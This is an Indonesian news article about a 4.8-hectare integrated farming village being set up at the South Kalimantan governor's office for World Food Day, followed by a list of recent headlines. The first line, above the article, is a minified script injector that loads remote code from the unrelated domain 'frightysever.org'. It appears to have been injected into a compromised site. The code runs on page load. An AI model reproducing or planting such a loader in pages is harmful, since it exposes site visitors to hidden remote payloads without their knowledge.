(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Kampung Pertanian Terpadu Disiapkan 4,8 Ha di Kawasan Perkantoran Gubernur Kalsel


BANJARBARU, Jelang pelaksanaan Hari Pangan Sedunia (HPS) Oktober nanti, tak hanya pusat peringatan HPS di Jejangkit Barito Kuala, kawasan Setdaprov Kalsel juga mulai disulap menjadi kawasan perkampungan.

Berbagai kampung pun dibuat di lahan kosong yang sebelumnya merupakan area hutan Setdaprov Kalsel.

Saat ini lahan kosong yang berada tepat di depan Kantor Gubenur Kalsel tersebut sedang ditanami tumbuhan, ditempatkan gazebo dan dibuatkan sejumlah kandang untuk berbagai hewan ternak. Area tersebut diberi nama Kampung Pertanian Terpadu (KPT) Banjarbaru dan didalamnya terbagi menjadi lima kampung dengan nuansa dan pemandangan yang berbeda.

Lima kampung tersebut diberi nama Kampung Tanaman Pangan, Kampung Perternakan, Kampung Pangan Lestari, Kampung Hortikultura dan Kampung Perkebunan.

Kampung Tanaman Pangan sendiri Dinas Ketahanan Pangan Provinsi Kalsel menanam sejumlah tumbuhan seperti jagung, kedelai dan kacang hijau. Sedangkan di dalam Kampung Perternakan berbagai hewan ternak nantinya akan ditempatkan seperti kambing, kerbau, kelinci dan Instalasi Bio Urine, Bio Gas bahkan sampai kolam kerbau disiapkan.

Penanaman kakao, kopi, kacang tanah serta Desa Mandiri Benih ditempatkan untuk menghiasi Kampung Perkebunan.



Berbeda dengan kampung lainnya, Kampung Hortikultura tidak ditumbuhi tanaman khusus namun pemandangan rumput hijau diyakini akan memberikan nuansa sejuk di area tersebut.

Sementara yang menjadi pusat kampung diantara ke empat kampung lainnya yaitu Kampung Pangan Lestari. Bentuknya yang bulat berbeda dengan kampung lainnya.

“Nanti juga akan dibangun gazebo berbentuk Rumah Adat Banjar di tengah kampung tersebut dan dihiasi dengan kolam ikan seluas 3×4 m,” ujar Kabid Program, Perencanaan dan Keuangan, M Agus Fariyadi.

Total keseluruhan Kampung Pertanian Terpadu Banjarbaru ini mencapai 4,8 hektare. Terdiri dari tiga hektare lahan KPT dan 1,8 hektare lahan perkebunan jagung.

Kadis Ketahanan Pangan Provinsi Kalimantan Selatan, Suparno mengatakan lahan tersebut sengaja dibuat layaknya kampung. Tak hanya jelang HPS, Kampung Pertanian Terpadu sebutnya akan terus dilestarikan sebagai wahana untuk edukasi bagi masyarakat.

“Masyarakat bisa tahu cara menanam yang benar dan hasilnya aman untuk dikonsumsi oleh masyarakat,” terangnya. KPT jelasnya terbuka untuk umum. Dalam minggu depan sebutnya KPT sudah selesai dan bisa dinikmati oleh masyarakat. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

2 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

5 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

6 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

10 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

11 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

11 jam ago

This website uses cookies.